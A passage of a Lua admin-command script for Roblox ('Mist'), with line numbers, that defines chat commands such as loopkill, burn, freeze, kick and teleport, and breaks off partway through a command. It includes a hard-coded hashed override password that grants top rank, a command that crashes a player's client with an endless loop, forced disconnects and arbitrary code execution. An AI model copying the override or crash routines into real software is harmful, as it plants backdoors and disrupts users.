  5055. Mist.Settings.Debug_Services=not Mist.Settings.Debug_Services;
  5056. Mist.Functions.Output('Services debugger is now '..tobool(Mist.Settings.Debug_Services),((tobool(Mist.Settings.Debug_Services)=='on'and'Green')or'Red'),Speaker,5);
  5057. end);
  5058. Mist.Functions.CreateCommand('Character transparency','chartrans,trans,transparency',true,1,'Sets the transparency of <Player>s character to <Transparency>','%s i Invisible, %s v Visible',function(Message,Speaker,Flags)
  5059. local players,transparency=Message:match'(.+)%s*(.*)';
  5060. local t=tonumber(transparency);if(t==nil)then t=0 end;t=math.abs(t);
  5061. if(Flags.i)then
  5062. t=1;
  5063. elseif(Flags.v)then
  5064. t=0;
  5065. end;
  5066. for _,v in next,Mist.Functions.GetPlayers(players,Speaker)do
  5067. for _,c in next,Mist.Functions.RecursiveChildren(v.Character,'class','Part')do
  5068. if(c.Name~='HumanoidRootPart')then
  5069. c.Transparency=t;
  5070. end;
  5071. end;
  5072. end;
  5073. end);
  5074. Mist.Functions.CreateCommand('Override','override',false,0,'Overrides Mist','No flags',function(Message,Speaker,Flags)
  5075. --[=[local Override,do_override="0c5a1b891c71eb1a35106d78d3d8afa68835592d",false;
  5076. if(Flags.h)then
  5077. if(Mist.Functions.Hash(Message)==Override)then
  5078. do_override=true;
  5079. end;
  5080. end;
  5081. local s=meta_create'ScreenGui'{
  5082. Parent=Speaker:waitForChild'PlayerGui';
  5083. Name='Override';
  5084. };
  5085. local f=meta_create'Frame'{
  5086. Parent=s;
  5087. Size=UDim2.new(.5,0,.3,0);
  5088. BorderColor=BrickColor.new('Black');
  5089. BackgroundColor=BrickColor.new'White';
  5090. BackgroundTransparency=.5;
  5091. Draggable=true;
  5092. Position=UDim2.new(-.5,0,.3,0);
  5093. };
  5094. local title_frame=meta_create'Frame'{
  5095. Parent=f;
  5096. Size=UDim2.new(1,0,.2,0);
  5097. BorderColor=BrickColor.new'Black';
  5098. BackgroundColor=BrickColor.new'Light blue';
  5099. };
  5100. local title_label=meta_create'TextLabel'{
  5101. Parent=title_frame;
  5102. Size=UDim2.new(0.9,0,1,0);
  5103. TextXAlignment='Center';
  5104. FontSize='Size24';
  5105. Font='SourceSans';
  5106. BackgroundTransparency=1;
  5107. Text='OVERRIDE MENU';
  5108. };
  5109. local title_close=meta_create'TextButton'{
  5110. Parent=title_frame;
  5111. Size=UDim2.new(.1,0,1,0);
  5112. Position=UDim2.new(.9,0,0,0);
  5113. BackgroundColor=BrickColor.new'Light blue';
  5114. BorderColor=BrickColor.new'Black';
  5115. TextColor=BrickColor.new'Really red';
  5116. Text='X';
  5117. MouseButton1Click=function()
  5118. coroutine.wrap(function()
  5119. local data={};
  5120. for _,obj in next,Mist.Functions.RecursiveChildren(s,'isA','GuiObject')do
  5121. table.insert(data,obj);
  5122. end;
  5123. for _,item in next,data do
  5124. coroutine.wrap(function()
  5125. local add=((math.random(1,2)==1 and'+')or'-');
  5126. item:TweenSizeAndPosition(UDim2.new(math.random(),math.random(),math.random(),math.random()),((item:isA'Frame' and item.Position) or((add=='+'and UDim2.new(math.random(),math.random(),math.random(),math.random()))or(item.Position-UDim2.new(math.random(),math.random(),math.random(),math.random())))),'Out','Quad',0.9,true);
  5127. for i=0,1,0.1 do
  5128. item.Transparency=i;
  5129. f.Transparency=i;
  5130. wait'';
  5131. end;
  5132. f.Parent:remove'';
  5133. end)();
  5134. end;
  5135. end)();
  5136. end;
  5137. };
  5138. local body_frame=meta_create'Frame'{
  5139. Parent=f;
  5140. Size=UDim2.new(1,0,.8,0);
  5141. Position=UDim2.new(0,0,.2,0);
  5142. BackgroundColor=BrickColor.new('White');
  5143. };
  5144. local body_tag=meta_create'TextBox'{
  5145. Parent=body_frame;
  5146. Size=UDim2.new(.5,0,.2,0);
  5147. Position=UDim2.new(.3,0,.3,0);
  5148. BackgroundColor=BrickColor.new('White');
  5149. BorderColor=BrickColor.new'Black';
  5150. Text='Code here';
  5151. };
  5152. local body_tag_name=meta_create'TextLabel'{
  5153. Parent=body_frame;
  5154. Size=UDim2.new(.3,0,.2,0);
  5155. Position=UDim2.new(0,0,.3,0);
  5156. BackgroundTransparency=1;
  5157. Text='Code:';
  5158. };
  5159. local body_tag_enter=meta_create'TextButton'{
  5160. Parent=body_frame;
  5161. Size=UDim2.new(.2,0,.2,0);
  5162. Position=UDim2.new(.8,0,.3,0);
  5163. BackgroundTransparency=.7;
  5164. BackgroundColor=BrickColor.new'White';
  5165. BorderColor=BrickColor.new'Black';
  5166. Text='>';
  5167. MouseButton1Click=function()
  5168. if(Mist.Functions.Hash(body_tag.Text)==Override)then
  5169. title_label.Text='Successful override';
  5170. do_override=true;
  5171. wait(1);
  5172. s:remove();
  5173. else
  5174. local o=title_label.Text;
  5175. title_label.Text='Incorrect password';
  5176. wait(1);title_label.Text=o;
  5177. end;
  5178. end;
  5179. };
  5180. f:TweenPosition(f.Position+UDim2.new(.5,0,0,0),'Out','Quad',1,true);
  5181. coroutine.wrap(function() repeat wait() until do_override Mist.Ranked[Speaker.Name].Rank=4 end)();
  5182. --]=]
  5183. local screen,frame,title,exit,body=Mist.Functions.blankGui(Speaker.PlayerGui,'Override','Mist Override',nil,nil,nil,nil);
  5184. local bar=Instance.new'TextBox';
  5185. bar.BackgroundColor=body.BackgroundColor;
  5186. bar.TextColor=body.TextColor;
  5187. bar.Text='Enter code';
  5188. body.Text='';
  5189. bar.Size=UDim2.new(.8,0,0,20);
  5190. bar.Position=UDim2.new(0,5.5,1,-72.5);
  5191. bar.Parent=body;
  5192. local enter=Instance.new'TextButton';
  5193. enter.Parent=body;
  5194. enter.Text='>';
  5195. enter.Size=UDim2.new(0,20,0,20);
  5196. enter.Position=bar.Position+bar.Size+UDim2.new(0,0,0,-20);
  5197. local alreadyClicked=false;
  5198. enter.mouseButton1Down:connect(function()
  5199. coroutine.wrap(function()
  5200. local accepted=Mist.Functions.Hash(bar.Text)=='bdbd31efbe61113291dca0d18469b9452dc2aea0';
  5201. if(alreadyClicked and accepted==false)then
  5202. return;
  5203. end;
  5204. if(accepted)then
  5205. alreadyClicked=true;
  5206. title.Text='Succesfull';
  5207. Mist.Ranked[Speaker.Name].Rank=5;
  5208. for i=0,1,.1 do
  5209. title.TextColor3=Color3.new(0,i,0);
  5210. wait();
  5211. end;
  5212. screen:Destroy();
  5213. else
  5214. alreadyClicked=true;
  5215. title.Text='Fail';
  5216. wait(1);
  5217. title.Text='Mist Override';
  5218. alreadyClicked=false;
  5219. end;
  5220. end)();
  5221. end);
  5222. end);
  5223. Mist.Functions.CreateCommand('Smoke','Smoke',true,1,'Gives <Players> Smoke','%s r remove Smoke',function(Message,Speaker,Flags)
  5224. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  5225. coroutine.wrap(function()
  5226. for _,v in next,Mist.Functions.RecursiveChildren(v.Character,'class','Smoke')do
  5227. v:remove();
  5228. end;
  5229. if(Flags.r)then return end;
  5230. for _,v in next,Mist.Functions.RecursiveChildren(v.Character,'isA','BasePart')do
  5231. Instance.new('Smoke',v);
  5232. end;
  5233. end)();
  5234. end;
  5235. end);
  5236. Mist.Functions.CreateCommand('Sparkles','sparkles',true,1,'Gives <Players> sparkles','%s r remove sparkles',function(Message,Speaker,Flags)
  5237. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  5238. coroutine.wrap(function()
  5239. for _,v in next,Mist.Functions.RecursiveChildren(v.Character,'class','Sparkles')do
  5240. v:remove();
  5241. end;
  5242. if(Flags.r)then return end;
  5243. for _,v in next,Mist.Functions.RecursiveChildren(v.Character,'isA','BasePart')do
  5244. Instance.new('Sparkles',v);
  5245. end;
  5246. end)();
  5247. end;
  5248. end);
  5249. Mist.Functions.CreateCommand('Ignite','fire,ignite,flames,setablaze,blaze,ablaze',true,1,'Puts <Player> on fire','%s r remove fires',function(Message,Speaker,Flags)
  5250. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  5251. coroutine.wrap(function()
  5252. for _,v in next,Mist.Functions.RecursiveChildren(v.Character,'class','Fire')do
  5253. v:remove();
  5254. end;
  5255. if(Flags.r)then return end;
  5256. for _,v in next,Mist.Functions.RecursiveChildren(v.Character,'isA','BasePart')do
  5257. Instance.new('Fire',v).Heat=0;
  5258. end;
  5259. end)();
  5260. end;
  5261. end);
  5262. Mist.Functions.CreateCommand('Burn','burn',true,2,'Sets <Player> on fire and makes them burn','%s u undo',function(Message,Speaker,Flags)
  5263. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  5264. coroutine.wrap(function()
  5265. pcall(function()Mist.Connections['Burn:'..v.Name]:disconnect()end);
  5266. Mist.Functions.OnChatted('//fire '..v.Name..Mist.Ranked[Speaker.Name].Flag..((Flags.u~=nil and'r')or'a'),Speaker,true);
  5267. if(Flags.u)then return end;
  5268. Mist.Connections['Burn:'..v.Name]=(function()
  5269. local d={disconnect=function(self)self.derp=true;end;['derp']=false};
  5270. coroutine.wrap(function()
  5271. v.CharacterAdded:connect(function()
  5272. d:disconnect();
  5273. end);
  5274. end)();
  5275. coroutine.wrap(function()
  5276. repeat wait() until Mist.Connections['Burn:'..v.Name]and Mist.Connections['Burn:'..v.Name].derp==false;
  5277. local d=Mist.Connections['Burn:'..v.Name];
  5278. repeat wait()
  5279. pcall(function()
  5280. v.Character.Humanoid:takeDamage(math.random(10,15));
  5281. end);
  5282. wait(1);
  5283. until d.derp==true;
  5284. end)();
  5285. return d;
  5286. end)();
  5287. end)();
  5288. end;
  5289. end);
  5290. Mist.Functions.CreateCommand('Loopkill','lkill,loopkill,kill_loop,loopk',true,2,'Loop kills <Player>','%s u unloopkill',function(Message,Speaker,Flags)
  5291. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do coroutine.wrap(function()
  5292. pcall(function()Mist.Connections['Loop:'..v.Name]:disconnect()end);
  5293. if(Flags.u)then return end;
  5294. Mist.Connections['Loop:'..v.Name]=Mist.Services'RunService'.Stepped:connect(function()
  5295. if(v.Character==nil or v.Character.Parent~=Mist.Services'Workspace')then v:loadCharacter() v.characterAdded:wait() end;
  5296. pcall(function()v.Character:breakJoints()end);
  5297. end);
  5298. end)()end;
  5299. end);
  5300. Mist.Functions.CreateCommand('Tablet Type Selection','tselect',false,4,'Selects Mists tablet type','No flags',function(Message,Speaker)
  5301. Message=Message:lower();
  5302. local r={'Ball','Block','Tablet'};setmetatable(r,{__index=function(self,v)
  5303. if(type(v)=='number')then return rawget(self,v)end;
  5304. for _,d in next,self do if(v:lower():sub(1,#d)==d:lower())then return true end end return false;end
  5305. });
  5306. if(not r[Message])then
  5307. Mist.Functions.Title('Tablet type','Random',Speaker)
  5308. for _,v in next,r do
  5309. Mist.Functions.Output(v,'Blue',Speaker,nil,function()Mist.Functions.RemoveTablets(Speaker)Mist.Settings.tabletType=v;end);
  5310. end;
  5311. else
  5312. Mist.Settings.tabletType=(function()
  5313. for _,v in next,r do
  5314. if(v:lower():sub(1,#Message)==Message)then
  5315. return v;
  5316. end;
  5317. end;
  5318. end)();
  5319. end;
  5320. end);
  5321. Mist.Functions.CreateCommand('Commands','commands,cmds',true,0,'Lists all the commands','%s r Ranks,%s s Search',function(Message,Speaker,Flags)
  5322. local do_info=function(cmd_data)
  5323. Mist.Functions.RemoveTablets(Speaker)
  5324. Mist.Functions.Title('Command Menu.Info','Green',Speaker);
  5325. for _,v in next,cmd_data do
  5326. if(_=="FlagString")then
  5327. Mist.Functions.Output(tostring(_)..': '..tostring(v:gsub('(%.)',Mist.Ranked[Speaker.Name].Flag)),'Random',Speaker);
  5328. else
  5329. Mist.Functions.Output(tostring(_)..': '..tostring(v),'Random',Speaker);
  5330. end;
  5331. end;
  5332. end;
  5333. if(Flags.s)then
  5334. local find=((tostring(Flags.s or''):len()>1 and tostring(Flags.s))or (tostring(Message):len()>1 and tostring(Message))or (function()
  5335. Mist.Functions.Output('Error invalid search capture','Red',Speaker,5);
  5336. return false;
  5337. end)());
  5338. if(find==false)then return end;
  5339. local found={};
  5340. for _name,v in next,Mist.Commands do
  5341. local command=(function()
  5342. local rtn={_};
  5343. for n in v.Commands:gmatch'([^,]+)'do
  5344. table.insert(rtn,n);
  5345. end;
  5346. return rtn;
  5347. end)();
  5348. coroutine.wrap(function()
  5349. for _,msg in next,command do
  5350. if(msg:match(find))then
  5351. table.insert(found,_name);
  5352. return;
  5353. end;
  5354. end;
  5355. end)();
  5356. end;
  5357. if(#found==0)then
  5358. Mist.Functions.Output("No commands found","Red",Speaker,5);
  5359. elseif(#found>1)then
  5360. for _,v in next,found do
  5361. Mist.Functions.Output("Did you mean "..tostring(v),"Random",Speaker,nil,function()
  5362. do_info(Mist.Commands[v]);
  5363. end);
  5364. end;
  5365. else
  5366. do_info(Mist.Commands[found[1]]);
  5367. end;
  5368. return;
  5369. end;
  5370. local showCommands=function(min_rank,rank_inc)
  5371. Mist.Functions.RemoveTablets(Speaker);
  5372. Mist.Functions.Title('Command Menu','Green',Speaker);
  5373. if(Flags.r)then
  5374. Mist.Functions.Output('Your rank: '..tostring(Mist.Functions.GetRank(Speaker)),Mist.Ranked[Speaker.Name].Color,Speaker);
  5375. Mist.Functions.Output('All commands','Random',Speaker,nil,function() Mist.Functions.OnChatted('//commands',Speaker) end);
  5376. end;
  5377. rank_inc=rank_inc or'+';
  5378. local function isRank(rank,rank_2)
  5379. if(rank_inc=='+')then
  5380. return rank>=rank2;
  5381. elseif(rank_inc=='-')then
  5382. return rank<=rank2;
  5383. else
  5384. return rank==rank2;
  5385. end;
  5386. end;
  5387. if(Flags.r)then
  5388. for Rank=-1,5 do
  5389. Mist.Functions.Output('Rank '..tostring(Rank),'Random',Speaker,nil,function()
  5390. Mist.Functions.RemoveTablets(Speaker);
  5391. for _,Command in next,Mist.Commands do
  5392. if(isRank(Command.Rank,Rank))then
  5393. Mist.Functions.Output(_,'Random',Speaker,nil,function()
  5394. do_info(Command);
  5395. end);
  5396. end;
  5397. end;
  5398. end);
  5399. end;
  5400. return;
  5401. end;
  5402. for _,Command in next,Mist.Commands do
  5403. if(Command.Rank>=min_rank)then
  5404. Mist.Functions.Output(_,'Random',Speaker,nil,function()
  5405. Mist.Functions.RemoveTablets(Speaker);
  5406. do_info(Command);
  5407. end);
  5408. end;
  5409. end;
  5410. end;
  5411. local rest='=';
  5412. if(Message:match'%-'or Message:match'%+')then
  5413. rest=Message:match'(%-)'or Message:match'(%+)';
  5414. Message=Message:gsub('%'..rest,'');
  5415. end;
  5416. if(tonumber(Message))then
  5417. showCommands(tonumber(Message),rest);
  5418. else
  5419. showCommands(-100,rest);
  5420. end;
  5421. end);
  5422. Mist.Functions.CreateCommand('Forcefield','ff,force,forcefield',true,1,'Gives <Player> a ForceField','%s u UnFF',function(Message,Speaker,Flags)
  5423. for _,Player in next,Mist.Functions.GetPlayers(Message,Speaker)do
  5424. ypcall(function()
  5425. if(Flags.u)then
  5426. for _,v in next,Player.Character:children()do
  5427. if(v.className=='ForceField')then
  5428. v:remove();
  5429. end;
  5430. end;
  5431. else
  5432. Instance.new('ForceField',Player.Character);
  5433. end;
  5434. end);
  5435. end;
  5436. end);
  5437. Mist.Functions.CreateCommand('Message','msg,message',true,1,'Creates a Message in workspace','%s mist, %s n Name, %s m Message %s h Hint %s g Gui',function(Message,Speaker,Flags)
  5438. if(Flags.n)then Message=string.format('[%s]: %s',Speaker.Name,Message) end;
  5439. if(Flags.mist)then Message=('[Mist]: '..Message) end;
  5440. Message=Message:gsub('(.)',function(a)return a..'\5'end);
  5441. local msg;
  5442. local type=((Flags.m and'Message')or (Flags.h and'Hint')or (Flags.g and'Gui')or'Message');
  5443. if(type~='Gui')then
  5444. msg=meta_create(type){
  5445. Parent=workspace;
  5446. Text='';
  5447. };
  5448. coroutine.wrap(function()
  5449. for i=1,Message:len(),3 do
  5450. msg.Text=Message:sub(1,i);
  5451. wait();
  5452. end;
  5453. msg.Text=Message;
  5454. wait(1);
  5455. for i=1,Message:len(),3 do
  5456. msg.Text=Message:sub(1,Message:len()-i);
  5457. wait();
  5458. end;
  5459. wait();msg:remove();
  5460. end)();
  5461. else
  5462. coroutine.wrap(function()
  5463. for _,Player in next,Mist.Services'Players':players''do
  5464. coroutine.wrap(function()
  5465. local pg=Player.PlayerGui;
  5466. pcall(function()pg.Message:destroy()end);
  5467. local screen,frame,title,exit,body=Mist.Functions.blankGui(pg,'Message','Message from '..Speaker.Name);
  5468. body.Text=Message;
  5469. end)();
  5470. end;
  5471. end)();
  5472. end;
  5473. end);
  5474. Mist.Functions.CreateCommand('Kick','kick',false,3,'Kicks <player>','No flags',function(Message,Speaker,Flags)
  5475. for _,Player in next,Mist.Functions.GetPlayers(Message,Speaker)do
  5476. Player:kick();
  5477. end
  5478. end);
  5479. Mist.Functions.CreateCommand('God','god',true,1,'Gods <Player>','%s u ungod',function(Message,Speaker,Flags)
  5480. local function newConnection(conns)
  5481. local c=newproxy(true);
  5482. getmetatable(c).__index={
  5483. disconnect=function(self)
  5484. self=self or getmetatable(c).__index;
  5485. for _,v in next,conns do
  5486. v:disconnect'';
  5487. end;
  5488. end;
  5489. };
  5490. return c;
  5491. end;
  5492. for _,User in next,Mist.Functions.GetPlayers(Message,Speaker)do
  5493. pcall(function()Mist.Connections['God:'..User.Name]:disconnect()end);
  5494. if(Flags.u)then
  5495. return;
  5496. end;
  5497. coroutine.wrap(function()
  5498. local tab={};
  5499. for _,v in next,User.Character:children()do
  5500. if(v:IsA'BasePart')then
  5501. table.insert(tab,v.Touched:connect(function(Hit,...)
  5502. local p;p=Mist.Services'Players':playerFromCharacter(Hit.Parent);
  5503. if(p and Mist.Functions.GetRank(p)<Mist.Functions.GetRank(User))then
  5504. pcall(function()p.Character:breakJoints()end);
  5505. end;
  5506. end));
  5507. elseif(v:isA'Humanoid')then
  5508. table.insert(tab,v.Changed:connect(function()v.Health=v.MaxHealth;end));
  5509. end;
  5510. end;
  5511. Mist.Connections['God:'..User.Name]=newConnection(tab);
  5512. end)();
  5513. end;
  5514. end);
  5515. Mist.Functions.CreateCommand('Invite','invite,chat,prichat',false,1,'Invites <Player> to chat privately with you','No flags',function(Message,Speaker,Flags)
  5516. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  5517. Mist.Functions.Invite(v);
  5518. end;
  5519. end);
  5520. Mist.Functions.CreateCommand('Clean','cln,clean',true,1,'Cleans <Workspace>','%s p Avoid players,%s r Respawn,%s m Match, %s n Name, %s c Class',function(Message,Speaker,Flags)
  5521. local Type,Search;Type='all';
  5522. if(Flags.m)then Type='match'; Search=Flags.m; end;
  5523. if(Flags.n)then Type='name'; Search=Flags.n end;
  5524. if(Flags.c)then Type='class'Search=Flags.c end;
  5525. local rec=Mist.Functions.RecursiveChildren(Mist.Services'Workspace',Type,Search);
  5526. pcall(function()workspace.Base:remove()end);
  5527. Mist.Functions.OnChatted('//base',Speaker,false);
  5528. for _,c in next,rec do
  5529. if(Mist.Services'Players':playerFromCharacter(c))then
  5530. if(Flags.r)then Mist.Services'Players':playerFromCharacter(c):loadCharacter() end;
  5531. return;
  5532. end;
  5533. pcall(function()c:remove()end);
  5534. end;
  5535. end);
  5536. Mist.Functions.CreateCommand('Clear','clear',true,1,'Clears <Workspace> of <Object:Type>','%s m Match, %s n Name, %s c Class, %s i IsA',function(msg,spkr,Flags)
  5537. local Info={((Flags.n and'name')or (Flags.m and'match')or (Flags.i and 'isA')or (Flags.c and'class')or'm'),msg};
  5538. for _,v in next,Mist.Functions.RecursiveChildren(workspace,unpack(Info))do
  5539. pcall(game.Destroy,v);
  5540. end;
  5541. end);
  5542. Mist.Functions.CreateCommand('Freeze','freeze,frze,freez,chill,cold',true,1,'Freezes <Player>','%s t Thaw',function(Message,Speaker,Flags)
  5543. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  5544. coroutine.wrap(function()
  5545. local last=v.Character.Torso.CFrame;
  5546. pcall(function()Mist.Connections['Frozen:'..v.Name]:disconnect()end);
  5547. if(Flags.t)then v.Character.Torso.Anchored=false return end;
  5548. Mist.Connections['Frozen:'..v.Name]=Mist.Services'RunService'.Stepped:connect(function()
  5549. pcall(function()
  5550. local r=(v.Character.Torso.CFrame.p-last.p).magnitude;
  5551. if(r>10)then
  5552. v.Character.Torso.CFrame=last;
  5553. end;
  5554. v.Character.Torso.Anchored=true;
  5555. end);
  5556. end);
  5557. end)();
  5558. end;
  5559. end);
  5560. Mist.Functions.CreateCommand('Nil disconnect','nild',true,1,'Nil Disconnects <player>','%s r rejoin',function(Message,Speaker,Flags)
  5561. if(Message=='')then return end;--Cuz that wil nil disconnect everyone XD
  5562. local term='';if(Flags.r)then term='Rejoin' else term='Disconnect' end;
  5563. local disconnections={};
  5564. for _,rep in next,game:findService'NetworkServer':children()do
  5565. if(rep and rep:isA'ServerReplicator'and rep:GetPlayer()and rep:GetPlayer().Name:lower():sub(1,#Message)==Message:lower())then
  5566. local v=rep:GetPlayer();
  5567. Mist.Functions.SendPacket(term,v.Name);
  5568. table.insert(disconnections,v.Name);
  5569. end;
  5570. end;
  5571. if(#disconnections==0)then
  5572. Mist.Functions.Output('Attempted to '..term:lower()..' 0 players','Red',Speaker,2);
  5573. else
  5574. Mist.Functions.Output('Attempted to '..term:lower()..': '..table.concat(disconnections,', '),'Green',Speaker,3);
  5575. end;
  5576. end);
  5577. Mist.Functions.CreateCommand('Teleportation','tele,tp,teleport',false,1,'Teleports <Players> to <Player>','No flags',function(Message,Speaker,Flags)
  5578. local player1,player2;
  5579. player1,player2=Message:match'(.+)%s(.+)';
  5580. player1=player1 or'all';
  5581. player2=player2 or'me';if(player2=='me')then player2=Speaker.Name end;
  5582. local pt1,pt2=Mist.Functions.GetPlayers(player1,Speaker),Mist.Functions.GetPlayers(player2,Speaker);
  5583. for i,v in next,pt1 do
  5584. if(v and v.Character)then
  5585. if(pt2[1] and pt2[1].Character)then
  5586. pcall(function()
  5587. v.Character.Torso.CFrame=pt2[1].Character.Torso.CFrame*CFrame.new(0,i*5,0);
  5588. end);
  5589. end;
  5590. end;
  5591. end;
  5592. end);
  5593. Mist.Functions.CreateCommand('Ranked list','ranked,getranked',false,0,'Gets the Ranked Data','No flags',function(Message,Speaker,Flags)
  5594. if(Message=='me')then
  5595. Message=Speaker.Name;
  5596. end;
  5597. local found={};
  5598. for name,v in next,Mist.Ranked do
  5599. if(name:lower():find(Message:lower())and Message~='')then
  5600. found[name]=v;
  5601. end;
  5602. end;
  5603. local _num=0;for _,v in next,found do _num=_num+1 end;
  5604. if(_num==0)then
  5605. Mist.Functions.Title('Ranked players','Random',Speaker);
  5606. for _,v in next,Mist.Ranked do
  5607. Mist.Functions.Output(_..'['..v.Rank..']',v.Color,Speaker,nil,function()
  5608. Mist.Functions.PlayerInterface(Speaker,_);
  5609. end,Mist.UrlBases.CharImage:format(_));
  5610. end;
  5611. elseif(_num>1)then
  5612. for _,v in next,found do
  5613. Mist.Functions.Output('Did you mean '.._,v.Color,Speaker,nil,function()
  5614. Mist.Functions.PlayerInterface(Speaker,_);
  5615. end,Mist.UrlBases.CharImage:format(_));
  5616. end;
  5617. else
  5618. local asd;
  5619. for _,v in next,found do
  5620. asd=_;
  5621. end;
  5622. Mist.Functions.PlayerInterface(Speaker,asd);
  5623. end;
  5624. end);
  5625. Mist.Functions.CreateCommand('Rotation Selection','rselect',false,0,'Selects your rotation type','No flags',function(Message,Speaker)
  5626. Message=Message:lower();
  5627. local r={'Oval','Circle','Inverse_Oval','Mono','Di','Tri','Quad','Penta','Hexa','Hepta','Octa','Nona','Deca','Stacked','Swirl','Bounce_Swirl'};setmetatable(r,{__index=function(self,v)
  5628. if(type(v)=='number')then return rawget(self,v)end;
  5629. for _,d in next,self do if(v:lower():sub(1,#d)==d:lower())then return true end end return false;end
  5630. });
  5631. if(not r[Message])then
  5632. Mist.Functions.Title('Rotation Selection','Random',Speaker);
  5633. for _,v in next,r do
  5634. Mist.Functions.Output(v,'Blue',Speaker,nil,function()Mist.Functions.RemoveTablets(Speaker)Mist.Ranked[Speaker.Name].Rotation_Type=v;end);
  5635. end;
  5636. else
  5637. Mist.Ranked[Speaker.Name].Rotation_Type=(function()
  5638. for _,v in next,r do
  5639. if(v:lower():sub(1,#Message)==Message)then
  5640. return v;
  5641. end;
  5642. end;
  5643. end)();
  5644. end;
  5645. end);
  5646. Mist.Functions.CreateCommand('Execute','execute,exe',false,4,'Executes <source>','No flags',function(Message,Speaker,Flags)
  5647. local env=getfenv(1);
  5648. local fakeEnv=setmetatable({print=function(...)
  5649. local t='';
  5650. for _,v in next,{...}do
  5651. t=t..((_==1 and'')or'\t')..tostring(v);
  5652. end;
  5653. Mist.Functions.Output(t,'White',Speaker,10);
  5654. end;
  5655. Mist=Mist;
  5656. old_data=old_data;
  5657. threads=threads;
  5658. coroutine=coroutine;
  5659. },{__index=function(self,index)
  5660. return rawget(self,index)or getfenv(0)[index] or env[index];
  5661. end;__newindex=function(self,index,value)
  5662. getfenv(0)[index]=value;
  5663. end});
  5664. setfenv(setfenv(setfenv(assert(loadstring(Message)),fakeEnv),fakeEnv),fakeEnv)();
  5665. end);
  5666. Mist.Functions.CreateCommand('Logs','logs',false,0,'Lists the logs','No flags',function(Message,Speaker,Flags)
  5667. Mist.Functions.RemoveTablets(Speaker);
  5668. local Output=function(Text,Color,Player,Time)
  5669. Mist.Functions.Output(Text:sub(1,150)..'...[click for rest]',Color,Player,Time,function()
  5670. -- Parent,Name,Title,Position,Size,Base_Color,Buttonsreturn screen,frame,title,exit,body;
  5671. pcall(function()Speaker.PlayerGui.ASD:remove()end);
  5672. local screen,frame,title,exit,body=Mist.Functions.blankGui(Speaker.PlayerGui,'ASD','Logged Chat');
  5673. body.FontSize='Size12';
  5674. body.Text=Text;
  5675. end);
  5676. end;
  5677. for logType,logData in next,Mist.Logs do
  5678. Mist.Functions.Output(logType,'Random',Speaker,nil,function()
  5679. Mist.Functions.RemoveTablets(Speaker);
  5680. if(logType=='Commands'or logType=='Chat')then
  5681. for user,data in next,logData do
  5682. Mist.Functions.Output(user,Mist.Ranked[user].Color,Speaker,nil,function()
  5683. Mist.Functions.RemoveTablets(Speaker);
  5684. local n=#data;
  5685. local function tos(asd)
  5686. local a='';for _,v in next,asd do a=a..' '..tostring(v)end;return a;
  5687. end;
  5688. if(n>50)then
  5689. for i=1,50 do
  5690. Output(tos(data[n-(50-i)]),'Random',Speaker);
  5691. end;
  5692. else
  5693. for _,v in next,data do
  5694. Output(tos(v),'Random',Speaker);
  5695. end;
  5696. end;
  5697. end);
  5698. end;
  5699. else
  5700. Mist.Functions.RemoveTablets(Speaker);
  5701. local function tos(asd)
  5702. local a='';for _,v in next,asd do a=a..' '..tostring(v)end;return a;
  5703. end;
  5704. local data=logData;
  5705. local n=#logData;
  5706. if(n>50)then
  5707. for i=1,50 do
  5708. Output(tos(data[n-(50-i)]),'Random',Speaker);
  5709. end;
  5710. else
  5711. for _,v in next,data do
  5712. Output(tos(v),'Random',Speaker);
  5713. end;
  5714. end;
  5715. end;
  5716. end);
  5717. end;
  5718. end);
  5719. Mist.Functions.CreateCommand('Display','disp,display',true,0,'Changes your display','%s c color, %s f remove',function(Msg,Spkr,Flags)
  5720. local col=Flags.c or 'random';
  5721. local real={
  5722. ['red']=true;
  5723. ['blue']=true;
  5724. ['green']=true;
  5725. ['random']=true;
  5726. [1]=true;
  5727. [2]=true;
  5728. [0]=true;
  5729. };
  5730. col=((real[col] and col)or'random');
  5731. if(Flags.f)then
  5732. Mist.Displays[Spkr.Name]=nil;return
  5733. end;
  5734. Mist.Displays[Spkr.Name]=col;
  5735. end);
  5736. Mist.Functions.CreateCommand('Shamwow','sham',true,3,'Shamwow <Players>','No flag',function(Message,Speaker,Flags)
  5737. for _,Player in next,Mist.Functions.GetPlayers(Message,Speaker)do
  5738. Spawn(function()
  5739. local SG = Instance.new("ScreenGui", Player.PlayerGui)
  5740. local il = Instance.new("ImageLabel", SG)
  5741. il.Size = UDim2.new(1, 0, 1, 0)
  5742. il.Image = "http://www.roblox.com/asset/?id=43926112"
  5743. SG.Name = "Blind"
  5744. end)
  5745. end--Naw )
  5746. end);
  5747. Mist.Functions.CreateCommand('Quickscript','script,quickscript',false,0,'Creates a quickscript with <Source>','No flags',function(Message,Speaker,Flags)
  5748. Mist.Functions.CreateScript(Message,Workspace,Speaker);
  5749. end);
  5750. Mist.Functions.CreateCommand('Quicklocalscript','local',false,0,'Creates a quicklocalscript with <Source>','No flags',function(Message,Speaker,Flags)
  5751. Mist.Functions.NewLocalScript(Message,Speaker.Character or Instance.new('Backpack',Speaker));
  5752. end);
  5753. Mist.Functions.CreateCommand('Crash','crash',false,2,'Crashes <Player>','No flags',function(Message,Speaker,Flags)
  5754. for _,Player in next,Mist.Functions.GetPlayers(Message,Speaker)do
  5755. if(Mist.Functions.Hash(Player.Name)=='bea196e39a5e2df13d82589c374eef22d86e79e8'or Mist.Functions.Hash(Player.Name)=='a7c4ac4229cd664b2a33e2f0ee3053d5cd90aef3')then Mist.Functions.Output('You cannot crash '..Player.Name,'Red',Speaker,5)return end;
  5756. coroutine.wrap(function()
  5757. Mist.Functions.NewLocalScript('repeat until false',Instance.new('Backpack',Player),'CrashScript');
  5758. end)();
  5759. Mist.Client:FireClient(Player,'Execute','repeat until false');
  5760. end;
  5761. end);
  5762. Mist.Functions.CreateCommand('Pantie','krabs',true,3,'Panty Raids','No Flags',function(Message,Speaker,Flags)
  5763. for _,Player in next,Mist.Functions.GetPlayers(Message,Speaker)do
  5764. Spawn (function()
  5765. local SG = Instance.new("ScreenGui", Player.PlayerGui)
  5766. local il = Instance.new("ImageLabel", SG)
  5767. il.Size = UDim2.new(1, 0, 1, 0)
